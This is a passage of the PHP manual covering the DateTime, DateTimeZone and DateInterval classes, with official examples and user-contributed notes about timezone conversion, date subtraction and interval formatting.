Procedural style

DateTime date_timezone_set ( DateTime $object , DateTimeZone $timezone )

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

timezone

A DateTimeZone object representing the desired time zone.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setTimeZone() example

Object oriented style

<?php
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

$date->setTimezone(new DateTimeZone('Pacific/Chatham'));
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

Procedural style

<?php
$date = date_create('2000-01-01', timezone_open('Pacific/Nauru'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";

date_timezone_set($date, timezone_open('Pacific/Chatham'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";
?>

The above examples will output:

2000-01-01 00:00:00+12:00
2000-01-01 01:45:00+13:45

See Also

  • DateTime::getTimezone() - Return time zone relative to given DateTime
  • DateTimeZone::__construct() - Creates new DateTimeZone object

User Contributed Notes

keithm at aoeex dot com 24-Nov-2009 03:13
The timestamp value represented by the DateTime object is not modified when you set the timezone using this method.  Only the timezone, and thus the resulting display formatting, is affected.

This can be seen using the following test code:
<?php
$MNTTZ = new DateTimeZone('America/Denver');
$ESTTZ = new DateTimeZone('America/New_York');

$dt = new DateTime('11/24/2009 2:00 pm', $MNTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
$dt->setTimezone($ESTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));

/** Output:
string(29) "Tue, 24 Nov 09 14:00:00 -0700"
string(10) "1259096400"
string(29) "Tue, 24 Nov 09 16:00:00 -0500"
string(10) "1259096400"
**/
?>

As such, you can use this to easily convert between timezones for display purposes.
DateTime::setTimestamp
DateTime::sub
DateTime


Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

DateTime::setTimezone
DateTime::__wakeup
DateTime
PHP Manual

DateTime::sub

date_sub

(PHP 5 >= 5.3.0)

DateTime::sub -- date_sub — Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

Description

Object oriented style

public DateTime DateTime::sub ( DateInterval $interval )

Procedural style

DateTime date_sub ( DateTime $object , DateInterval $interval )

Subtracts the specified DateInterval object from the specified DateTime object.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

interval

A DateInterval object

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Examples

Example #1 DateTime::sub() example

Object oriented style

<?php
$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('P10D'));
echo $date->format('Y-m-d') . "\n";
?>

Procedural style

<?php
$date = date_create('2000-01-20');
date_sub($date, date_interval_create_from_date_string('10 days'));
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2000-01-10

Example #2 Further DateTime::sub() examples

<?php
$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('PT10H30S'));
echo $date->format('Y-m-d H:i:s') . "\n";

$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('P7Y5M4DT4H3M2S'));
echo $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output:

2000-01-19 13:59:30
1992-08-15 19:56:58

Example #3 Beware when subtracting months

<?php
$date = new DateTime('2001-04-30');
$interval = new DateInterval('P1M');

$date->sub($interval);
echo $date->format('Y-m-d') . "\n";

$date->sub($interval);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-03-30
2001-03-02

Notes

DateTime::modify() is an alternative when using PHP 5.2.

See Also

  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::diff() - Returns the difference between two DateTime objects
  • DateTime::modify() - Alters the timestamp

User Contributed Notes

Anonymous 01-Feb-2011 02:15
Note that the sub() and add() methods will modify the value of the object you're calling the method on! This is very untypical for a method that returns a value of its own type. You could misunderstand it that the method would return a new instance with the modified value, but in fact it modifies itself! This is undocumented here. (Only a side note on procedural style mentions it, but it obviously does not apply to object oriented style.)
php at keith tyler dot com 30-Nov-2010 06:53
If you use diff() after sub(), the effects of the sub() will be repeated on the date object.

It doesn't matter if the object is the one diffed or doing the diffing (i.e. which object you call diff() from).

<?php
$today = new DateTime();
$newdate = new DateTime();

print_r($newdate);
$newdate->sub(new DateInterval("PT1S"));
print_r($newdate);
$s = $newdate->diff($today);
print_r($newdate);
$s = $today->diff($newdate);
print_r($newdate);
$s = $today->diff($newdate);
print_r($newdate);
?>

Prints:

DateTime Object
(
    [date] => 2010-11-30 18:43:48
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:47
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:46
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:45
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:44
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)

Note that using add() instead of sub() does NOT have the same effect.

This is particularly undesirable -- in this example you make a datetime, use sub() to make it a relative time in the past, and then date->diff() to confirm the difference. But the diff() inadvertendly makes the difference 2x.
DateTime::setTimezone
DateTime::__wakeup
DateTime


The __wakeup handler

DateTime::sub
DateTimeZone
DateTime
PHP Manual

DateTime::__wakeup

(PHP 5 >= 5.2.0)

DateTime::__wakeup — The __wakeup handler

Description

public DateTime DateTime::__wakeup ( void )

The __wakeup() handler.

Parameters

This function has no parameters.

Return Values

Initializes a DateTime object.

User Contributed Notes

prikkeldraad at gmail dot com 19-Jun-2009 08:14
If you use a version prior to 5.3 you can make __wakeup and __toString work using the following piece of code.

<?php
class ExtendedDateTime extends DateTime {
    private $_date_time;

    public function __toString() {
        return $this->format('c'); // format as ISO 8601
    }

    public function __sleep() {
        $this->_date_time = $this->format('c');
        return array('_date_time');
    }

    public function __wakeup() {
        $this->__construct($this->_date_time);
    }
}
?>

Hope this helps someone.
TheDO 07-Apr-2009 08:32
Be aware, even though this __wake() method exists as of PHP 5.2, DateTime objects don't retain their values when unserialized under PHP 5.2. PHP 5.3 fixes this.
DateTime::sub
DateTimeZone
DateTime


The DateTimeZone class

(PHP 5 >= 5.2.0)

Introduction

Representation of time zone.

Class synopsis

DateTimeZone {
/* Constants */
const integer AFRICA = 1 ;
const integer AMERICA = 2 ;
const integer ANTARCTICA = 4 ;
const integer ARCTIC = 8 ;
const integer ASIA = 16 ;
const integer ATLANTIC = 32 ;
const integer AUSTRALIA = 64 ;
const integer EUROPE = 128 ;
const integer INDIAN = 256 ;
const integer PACIFIC = 512 ;
const integer UTC = 1024 ;
const integer ALL = 2047 ;
const integer ALL_WITH_BC = 4095 ;
const integer PER_COUNTRY = 4096 ;
/* Methods */
public __construct ( string $timezone )
public array getLocation ( void )
public string getName ( void )
public int getOffset ( DateTime $datetime )
public array getTransitions ([ int $timestamp_begin [, int $timestamp_end ]] )
public static array listAbbreviations ( void )
public static array listIdentifiers ([ int $what = DateTimeZone::ALL [, string $country = NULL ]] )
}

Predefined Constants

DateTimeZone::AFRICA

Africa time zones.

DateTimeZone::AMERICA

America time zones.

DateTimeZone::ANTARCTICA

Antarctica time zones.

DateTimeZone::ARCTIC

Arctic time zones.

DateTimeZone::ASIA

Asia time zones.

DateTimeZone::ATLANTIC

Atlantic time zones.

DateTimeZone::AUSTRALIA

Australia time zones.

DateTimeZone::EUROPE

Europe time zones.

DateTimeZone::INDIAN

Indian time zones.

DateTimeZone::PACIFIC

Pacific time zones.

DateTimeZone::UTC

UTC time zones.

DateTimeZone::ALL

All time zones.

DateTimeZone::ALL_WITH_BC

All time zones including backwards compatible.

DateTimeZone::PER_COUNTRY

Time zones per country.

Table of Contents

  • DateTimeZone::__construct — Creates new DateTimeZone object
  • DateTimeZone::getLocation — Returns location information for a timezone
  • DateTimeZone::getName — Returns the name of the timezone
  • DateTimeZone::getOffset — Returns the timezone offset from GMT
  • DateTimeZone::getTransitions — Returns all transitions for the timezone
  • DateTimeZone::listAbbreviations — Returns associative array containing dst, offset and the timezone name
  • DateTimeZone::listIdentifiers — Returns numerically index array with all timezone identifiers

User Contributed Notes

There are no user contributed notes for this page.
DateTime::__wakeup
DateTimeZone::__construct
Date/Time


Creates new DateTimeZone object

DateTimeZone
DateTimeZone::getLocation
DateTimeZone
PHP Manual

DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0)

DateTimeZone::__construct -- timezone_open — Creates new DateTimeZone object

Description

Object oriented style

public DateTimeZone::__construct() ( string $timezone )

Procedural style

DateTimeZone timezone_open ( string $timezone )

Creates new DateTimeZone object.

Parameters

timezone

One of timezones.

Return Values

Returns DateTimeZone on success. Procedural style returns FALSE on failure.

Errors/Exceptions

This method throws Exception if the timezone supplied is not recognised as a valid timezone.

Examples

Example #1 Catching errors when instantiating DateTimeZone

<?php
// Error handling by catching exceptions
$timezones = array('Europe/London', 'Mars/Phobos', 'Jupiter/Europa');

foreach ($timezones as $tz) {
    try {
        $mars = new DateTimeZone($tz);
    } catch(Exception $e) {
        echo $e->getMessage() . '<br />';
    }
}
?>

The above example will output:

DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Mars/Phobos)
DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Jupiter/Europa)

User Contributed Notes

There are no user contributed notes for this page.
DateTimeZone
DateTimeZone::getLocation
DateTimeZone


Returns location information for a timezone

DateTimeZone::__construct
DateTimeZone::getName
DateTimeZone
PHP Manual

DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0)

DateTimeZone::getLocation -- timezone_location_get — Returns location information for a timezone

Description

Object oriented style

public array DateTimeZone::getLocation ( void )

Procedural style

array timezone_location_get ( DateTimeZone $object )

Returns location information for a timezone, including country code, latitude/longitude and comments.

Parameters

object

Procedural style only: A DateTimeZone object returned by timezone_open()

Return Values

Array containing location information about timezone.

Examples

Example #1 DateTimeZone::getLocation() example

<?php
$tz = new DateTimeZone("Europe/Prague");
print_r($tz->getLocation());
print_r(timezone_location_get($tz));
?>

The above example will output:

Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)
Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)

User Contributed Notes

There are no user contributed notes for this page.
DateTimeZone::__construct
DateTimeZone::getName
DateTimeZone


Returns the name of the timezone

DateTimeZone::getLocation
DateTimeZone::getOffset
DateTimeZone
PHP Manual

DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0)

DateTimeZone::getName -- timezone_name_get — Returns the name of the timezone

Description

Object oriented style

public string DateTimeZone::getName ( void )

Procedural style

string timezone_name_get ( DateTimeZone $object )

Returns the name of the timezone.

Parameters

object

The DateTimeZone for which to get a name.

Return Values

One of the timezone names in the list of timezones.

User Contributed Notes

There are no user contributed notes for this page.
DateTimeZone::getLocation
DateTimeZone::getOffset
DateTimeZone


Returns the timezone offset from GMT

DateTimeZone::getName
DateTimeZone::getTransitions
DateTimeZone
PHP Manual

DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0)

DateTimeZone::getOffset -- timezone_offset_get — Returns the timezone offset from GMT

Description

Object oriented style

public int DateTimeZone::getOffset ( DateTime $datetime )

Procedural style

int timezone_offset_get ( DateTimeZone $object , DateTime $datetime )

This function returns the offset to GMT for the date/time specified in the datetime parameter. The GMT offset is calculated with the timezone information contained in the DateTimeZone object being used.

Parameters

object

Procedural style only: A DateTimeZone object returned by timezone_open()

datetime

DateTime that contains the date/time to compute the offset from.

Return Values

Returns time zone offset in seconds on success or FALSE on failure.

Examples

Example #1 DateTimeZone::getOffset() examples

<?php
// Create two timezone objects, one for Taipei (Taiwan) and one for
// Tokyo (Japan)
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// Create two DateTime objects that will contain the same Unix timestamp, but
// have different timezones attached to them.
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// Calculate the GMT offset for the date/time contained in the $dateTimeTaipei
// object, but using the timezone rules as defined for Tokyo
// ($dateTimeZoneJapan).
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// Should show int(32400) (for dates after Sat Sep 8 01:00:00 1951 JST).
var_dump($timeOffset);
?>

User Contributed Notes

skanzow at gmx dot net 08-Sep-2011 06:55
A common problem is to format dates and times for XML documents.
The XML standard is defined as follows:

"
    To specify a time zone, you can either enter a dateTime in UTC time by adding a "Z" behind the time - like this:
    <startdate>2002-05-30T09:30:10Z</startdate>
    or you can specify an offset from the UTC time by adding a positive or negative time behind the time - like this:
    <startdate>2002-05-30T09:30:10-06:00</startdate>
"

Here is a possible solution in PHP:
<?php
if(date_default_timezone_get() == 'UTC') {
    $offsetString = 'Z'; // No need to calculate offset, as default timezone is already UTC
} else {
    $phpTime = '2002-05-30 09:30:10';
    $millis = strtotime($phpTime); // Convert time to milliseconds since 1970, using default timezone
    $timezone = new DateTimeZone(date_default_timezone_get()); // Get default system timezone to create a new DateTimeZone object
    $offset = $timezone->getOffset(new DateTime($phpTime)); // Offset in seconds to UTC
    $offsetHours = round(abs($offset)/3600);
    $offsetMinutes = round((abs($offset) - $offsetHours * 3600) / 60);
    $offsetString = ($offset < 0 ? '-' : '+')
                . ($offsetHours < 10 ? '0' : '') . $offsetHours
                . ':'
                . ($offsetMinutes < 10 ? '0' : '') . $offsetMinutes;
}
echo('<startdate>' . date('Y-m-d\TH:i:s', $millis) . $offsetString . '</startdate>'); // This is the correct XML format
?>
DateTimeZone::getName
DateTimeZone::getTransitions
DateTimeZone


Returns all transitions for the timezone

DateTimeZone::getOffset
DateTimeZone::listAbbreviations
DateTimeZone
PHP Manual

DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0)

DateTimeZone::getTransitions -- timezone_transitions_get — Returns all transitions for the timezone

Description

Object oriented style

public array DateTimeZone::getTransitions ([ int $timestamp_begin [, int $timestamp_end ]] )

Procedural style

array timezone_transitions_get ( DateTimeZone $object [, int $timestamp_begin [, int $timestamp_end ]] )

Parameters

object

Procedural style only: A DateTimeZone object returned by timezone_open()

timestamp_begin

Begin timestamp.

timestamp_end

End timestamp.

Return Values

Returns numerically indexed array containing associative array with all transitions on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | The optional timestamp_begin and timestamp_end were added.

Examples

Example #1 A timezone_transitions_get() example

<?php
$timezone = new DateTimeZone("Europe/London");
$transitions = $timezone->getTransitions();
print_r(array_slice($transitions, 0, 3));
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [ts] => -9223372036854775808
            [time] => -292277022657-01-27T08:29:52+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [1] => Array
        (
            [ts] => -1691964000
            [time] => 1916-05-21T02:00:00+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [2] => Array
        (
            [ts] => -1680472800
            [time] => 1916-10-01T02:00:00+0000
            [offset] => 0
            [isdst] =>
            [abbr] => GMT
        )

)

User Contributed Notes

scotts 05-Mar-2010 11:19
Getting a timezone's offset and other data at a specified point in time (now, for example) using the new PHP5.3 parameters:

<?php
$theTime = time(); # specific date/time we're checking, in epoch seconds.

$tz = new DateTimeZone('America/Los_Angeles');
$transition = $tz-getTransitions($theTime,$theTime);

# only one array should be returned into $transition. Now get the data:
$offset = $transition[0]['offset'];
$abbr = $transition[0]['abbr'];
?>

Before PHP5.3, you'd have to loop through all of the Transitions up until the current point in time, which would be a very inefficient process.
DateTimeZone::getOffset
DateTimeZone::listAbbreviations
DateTimeZone


Returns associative array containing dst, offset and the timezone name

DateTimeZone::getTransitions
DateTimeZone::listIdentifiers
DateTimeZone
PHP Manual

DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0)

DateTimeZone::listAbbreviations -- timezone_abbreviations_list — Returns associative array containing dst, offset and the timezone name

Description

Object oriented style

public static array DateTimeZone::listAbbreviations ( void )

Procedural style

array timezone_abbreviations_list ( void )

Return Values

Returns array on success or FALSE on failure.

Examples

Example #1 A timezone_abbreviations_list() example

<?php
$timezone_abbreviations = DateTimeZone::listAbbreviations();
print_r($timezone_abbreviations["acst"]);
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Porto_Acre
        )

    [1] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Eirunepe
        )

    [2] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Rio_Branco
        )

    [3] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => Brazil/Acre
        )

)

See Also

  • timezone_identifiers_list() - Alias of DateTimeZone::listIdentifiers

User Contributed Notes

the_dark_lord12001 at yahoo dot com 30-Aug-2010 08:51
With the new dateTime functionality of PHP 5, i found that the dateTime::listabreviations and the dateTime::listIdentifiers return invalid time zone continent/city pairs that throws an error saying time zone not found in data base. So i wrote a class function that will return the abbreviated valid time zones

I hope this helps someone, and i would appreciate some tips on how to improve this class.

<?php
class TimeZones
{
    public $zones = array();
    public $countries = array();

    /**
     * Empty construct
     */
    public function __construct(){}

    /**
     * Utility function to re-index the array returned
     * from getTimeZones(). The $a is integer indexed
     * from the order of DateTimeZone::listIdentifiers()
     * so we need to reindex it to match proper formating
     *
     * @param array;
     * @return new indexed array;
     */
    protected function cmp ( $array )
    {
        $i=0;

        if ( !is_array ( $array ) ) return;

        foreach ( $array as $key => $val )
        {
            if ( is_array ( $val ) )
            {
                foreach ( $val as $k => $v )
                {
                    if ( is_array ( $v ) )
                    {
                        foreach ( $v as $a => $b )
                        {
                            if ( is_array ( $b ) )
                            {
                                foreach ( $b as $z => $y )
                                {
                                    if ( $newK != $k ) $i=0;

                                    $arr[$key][$k][$i][$z] = $y;
                                    $newK = $k;
                                }
                            $i++;
                            }
                        }
                    }
                }
            }
        }
        return $arr;
    }

    /**
     * This function takes an array of the old style of time zone
     * abreviations. i.e. CST, EST, PST
     *
     * @param array;
     * @return none; sets $this->zones variable
     */
    public function setTimeZones ( $array )
    {
        if ( !is_array($array) ) return;

        $this->zones = $array;
    }

    /**
     * This function takes an array of the continent names for which
     * you want to get the valid time zone names for
     *
     * @param array;
     * @return none; sets $this->countries variable
     */
    public function setCountries ( $array )
    {
        if ( !is_array($array) ) return;

        $this->countries = $array;
    }

    /**
     * This function is similiar to the dateTime::listabbreviations method
     * but this one weeds out those time zones that are not recognized.
     *
     * @param none;
     * @return array; a multidimensional [country][time zone abreviation][city/offset]
     */
    public function getTimeZones()
    {
        $ident = DateTimeZone::listIdentifiers();
        $cntIdent = count($ident);

        $zones = $this->zones;
        $cntZones = count($zones);

        for ( $i=0; $i<$cntZones; $i++ )
        {
            for ( $j=0; $j<$cntIdent; $j++ )
            {
                if ( date_default_timezone_set($ident[$j]) )
                {
                    try
                    {
                        if ( !$date = new dateTime($ident[$j]) )
                        {
                            throw new Exception ($e);
                        }
                        else
                        {
                            $zoneFormat = $date->format('T');
                            $tz = $date->getTimezone();
                            $tzName = $tz->getName();
                            $offset = $date->getOffset();

                            $utc[$j] = array ( 'city' => $tzName, 'offset' => $offset );

                            if ( strtoupper($zones[$i]) == $zoneFormat )
                            {
                                $ex = explode ( '/', $tzName );
                                sort($this->countries);

                                for ( $z=0; $z<count($this->countries); $z++ )
                                {
                                    if ( $ex[0] == ucwords($this->countries[$z]) )
                                    {
                                        $array[$ex[0]][$zoneFormat][$j] = array ( 'city' => $tzName, 'offset' => $offset );
                                    }
                                }
                            }
                        }
                    }
                    catch(Exception $e) {}
                }
            }
        }

        $arr = $this->cmp($array);
        return $arr;
    }
}

$class = new TimeZones();

$array = array ( 'cdt', 'edt', 'mst', 'pdt' );
$country = array ('America');
$class->setCountries($country);
$class->setTimeZones($array);

print_r($class->getTimeZones());
?>
kingskippus at gmail dot com 04-Apr-2009 08:32
Note that the dst field is of boolean type, so if you are doing an identity comparison, you need to test for true or false, not 0 or 1.  For example:

<?php
  $timezone_abbreviations = DateTimeZone::listAbbreviations();
  foreach ($timezone_abbreviations["est"] as $tz) {
    echo $tz['timezone_id'];
    // if ($tz['dst'] === 1) will always evaluate to false
    if ($tz['dst'] === true) {
      echo " (DST observed)<br />\n";
    }
    // Could use else here, but for illustration...
    if ($tz['dst'] === false) {
      echo " (DST not observed)<br />\n";
    }
  }
?>
DateTimeZone::getTransitions
DateTimeZone::listIdentifiers
DateTimeZone


Returns numerically index array with all timezone identifiers

DateTimeZone::listAbbreviations
DateInterval
DateTimeZone
PHP Manual

DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0)

DateTimeZone::listIdentifiers -- timezone_identifiers_list — Returns numerically index array with all timezone identifiers

Description

Object oriented style

public static array DateTimeZone::listIdentifiers ([ int $what = DateTimeZone::ALL [, string $country = NULL ]] )

Procedural style

array timezone_identifiers_list ([ int $what = DateTimeZone::ALL [, string $country = NULL ]] )

Parameters

what

One of DateTimeZone class constants.

country

A two-letter ISO 3166-1 compatible country code.

Note: This option is only used when what is set to DateTimeZone::PER_COUNTRY.

Return Values

Returns array on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Added the optional what and country parameters.

Examples

Example #1 A timezone_identifiers_list() example

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers();
for ($i=0; $i < 5; $i++) {
    echo "$timezone_identifiers[$i]\n";
}
?>

The above example will output something similar to:

Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmara

See Also

  • timezone_abbreviations_list() - Alias of DateTimeZone::listAbbreviations

User Contributed Notes

neo22s at gmail dot com 31-Oct-2011 05:50
I normaly use this script to allow the user choose his timezone:

<?php
///timezones functions
function get_timezones()
{
    if (method_exists('DateTimeZone','listIdentifiers'))
    {
        $timezones = array();
        $timezone_identifiers = DateTimeZone::listIdentifiers();

        foreach( $timezone_identifiers as $value )
        {
            if ( preg_match( '/^(America|Antartica|Arctic|Asia|Atlantic|Europe|Indian|Pacific)\//', $value ) )
            {
                $ex=explode('/',$value);//obtain continent,city
                $city = isset($ex[2])? $ex[1].' - '.$ex[2]:$ex[1];//in case a timezone has more than one
                $timezones[$ex[0]][$value] = $city;
            }
        }
        return $timezones;
    }
    else//old php version
    {
        return FALSE;
    }
}

function get_select_timezones($select_name='TIMEZONE',$selected=NULL)
{
    $timezones = get_timezones();
    $sel.='<select id="'.$select_name.'" name="'.$select_name.'">';
    foreach( $timezones as $continent=>$timezone )
    {
        $sel.= '<optgroup label="'.$continent.'">';
        foreach( $timezone as $city=>$cityname )
        {
            if ($selected==$city)
            {
                $sel.= '<option selected=selected value="'.$city.'">'.$cityname.'</option>';
            }
            else $sel.= '<option value="'.$city.'">'.$cityname.'</option>';
        }
        $sel.= '</optgroup>';
    }
    $sel.='</select>';

    return $sel;
}
?>
chema at garridodiaz dot com 19-Feb-2010 02:50
I use this time zone select:

<select id="TIMEZONE" name="TIMEZONE">
    <?php
    $timezone_identifiers = DateTimeZone::listIdentifiers();
    foreach( $timezone_identifiers as $value ){
        if ( preg_match( '/^(America|Antartica|Arctic|Asia|Atlantic|Europe|Indian|Pacific)\//', $value ) ){
            $ex=explode("/",$value);//obtain continent,city
            if ($continent!=$ex[0]){
                if ($continent!="") echo '</optgroup>';
                echo '<optgroup label="'.$ex[0].'">';
            }

            $city=$ex[1];
            $continent=$ex[0];
            echo '<option value="'.$value.'">'.$city.'</option>';
        }
    }
    ?>
        </optgroup>
    </select>
DateTimeZone::listAbbreviations
DateInterval
DateTimeZone


The DateInterval class

(PHP 5 >= 5.3.0)

Introduction

Representation of date interval. A date interval stores either a fixed amount of time (in years, months, days, hours etc) or a relative time string in the format that DateTime's constructor supports.

Class synopsis

DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static DateInterval createFromDateString ( string $time )
public string format ( string $format )
}

Properties

y

Number of years.

m

Number of months.

d

Number of days.

h

Number of hours.

i

Number of minutes.

s

Number of seconds.

invert

Is 1 if the interval is inverted and 0 otherwise. See DateInterval::format().

days

Total number of days between the starting and ending dates in a DateTime::diff() calculation. days will be FALSE in other circumstances.

Table of Contents

  • DateInterval::__construct — Creates new DateInterval object
  • DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string
  • DateInterval::format — Formats the interval

User Contributed Notes

Anonymous 26-Oct-2011 07:16
It is helpful to note that the value of the property 'i' is never greater than 59. That is, it is not the TOTAL number of minutes in the interval. It is the number of minutes left after counting up all the hours.
For an interval of 182 minutes, 'h' is 3 and 'i' is 2.
p dot scheit at ps-webforge dot com 15-Mar-2011 06:07
If you want to convert a Timespan given in Seconds into an DateInterval Object you could dot the following:

<?php

$dv = new DateInterval('PT'.$timespan.'S');
?>

but wenn you look at the object, only the $dv->s property is set.

As stated in the documentation to DateInterval::format

The DateInterval::format() method does not recalculate carry over points in time strings nor in date segments. This is expected because it is not possible to overflow values like "32 days" which could be interpreted as anything from "1 month and 4 days" to "1 month and 1 day".

If you still want to calculate the seconds into hours / days / years, etc do the following:

<?php

$d1 = new DateTime();
$d2 = new DateTime();
$d2->add(new DateInterval('PT'.$timespan.'S'));

$iv = $d2->diff($d1);

?>

$iv is an DateInterval set with days, years, hours, seconds, etc ...
Anonymous 18-Feb-2011 12:42
You cannot use the ++ operator on the DateInterval fields; it has no effect on the field value. To increase a field value, you have to do it the long way, for example $diff->h = $diff->h + 1; instead of $diff->h++; (observed in PHP 5.3.1).
jeff dot davies at yahoo dot com 14-Sep-2010 05:15
This class became available in PHP 5.3. It is not present in 5.2 or earlier releases. I found this out the hard way when you PHP scripts stopped working when I deployed them onto a Yahoo server. Yahoo has 5.2 while my machine hosts 5.3.
sebastien dot michea at manaty dot net 29-Aug-2010 08:25
It would be nice that when converting a DateInterval to a string, the interval specification used to construct the object is returned (like "P2W").
I need this to serialize a DateInterval object in order to store it in a postgres DB.
DateTimeZone::listIdentifiers
DateInterval::__construct
Date/Time


Creates new DateInterval object

DateInterval
DateInterval::createFromDateString
DateInterval
PHP Manual

DateInterval::__construct

(PHP 5 >= 5.3.0)

DateInterval::__construct — Creates new DateInterval object

Description

public DateInterval::__construct() ( string $interval_spec )

Creates new DateInterval object.

Parameters

interval_spec

Interval specification.

The format starts with the letter P, for "period." Each duration period is represented by an integer value followed by a period designator. If the duration contains time elements, that portion of the specification is preceded by the letter T.

interval_spec Period Designators
Period Designator | Description
Y | years
M | months
D | days
W | weeks. These get converted into days, so can not be combined with D.
H | hours
M | minutes
S | seconds

Here are some simple examples. Two days is P2D. Two seconds is PT2S. Six years and five minutes is P6YT5M.

Note:

The unit types must be entered from the largest scale unit on the left to the smallest scale unit on the right. So years before months, months before days, days before minutes, etc. Thus one year and four days must be represented as P1Y4D, not P4D1Y.

The specification can also be represented as a date time. A sample of one year and four days would be P0001-00-04T00:00:00. But the values in this format can not exceed a given period's roll-over-point (e.g. 25 hours is invalid).

These formats are based on the » ISO 8601 duration specification.

Examples

Example #1 DateInterval example

<?php

$interval = new DateInterval('P2Y4DT6H8M');
var_dump($interval);

?>

The above example will output:

object(DateInterval)#1 (8) {
  ["y"]=>
  int(2)
  ["m"]=>
  int(0)
  ["d"]=>
  int(4)
  ["h"]=>
  int(6)
  ["i"]=>
  int(8)
  ["s"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
}

See Also

  • DateInterval::format() - Formats the interval
  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTime::diff() - Returns the difference between two DateTime objects

User Contributed Notes

kevinpeno at gmail dot com 17-Mar-2011 11:47
Note that, while a DateInterval object has an $invert property, you cannot supply a negative directly to the constructor similar to specifying a negative in XSD ("-P1Y"). You will get an exception through if you do this.

Instead you need to construct using a positive interval ("P1Y") and the specify the $invert property === 1.
kuzb 04-Feb-2011 04:42
It should be noted that this class will not calculate days/hours/minutes/seconds etc given a value in a single denomination of time.  For example:

<?php
    $di = new DateInterval('PT3600S');
    echo $di->format('%H:%i:%s');

?>

will yield 0:0:3600 instead of the expected 1:0:0
DateInterval
DateInterval::createFromDateString
DateInterval


Sets up a DateInterval from the relative parts of the string

DateInterval::__construct
DateInterval::format
DateInterval
PHP Manual

DateInterval::createFromDateString

(PHP 5 >= 5.3.0)

DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string

Description

public static DateInterval DateInterval::createFromDateString ( string $time )

Uses the normal date parsers and sets up a DateInterval from the relative parts of the parsed string.

Parameters

time

Date with relative parts.

Return Values

Returns new DateInterval instance if success.

User Contributed Notes

msleman at boot dot dot dot com 28-Oct-2010 08:39
Sample usage:

<?php
$interval = DateInterval::createFromDateString('1 month');
?>
Anonymous 28-Sep-2009 12:02
DateInterval::createFromDateString ( string $time )

When the manual says "Uses the normal date parsers" it means that this function cannot take $time = ISO8601 strings like "P7D".  If you want to use those, you must use the constructor.
DateInterval::__construct
DateInterval::format
DateInterval


Formats the interval

DateInterval::createFromDateString
DatePeriod
DateInterval
PHP Manual

DateInterval::format

(PHP 5 >= 5.3.0)

DateInterval::format — Formats the interval

Description

public string DateInterval::format ( string $format )

Formats the interval.

Parameters

format

The following characters are recognized in the format parameter string. Each format character must be prefixed by a percent sign (%).
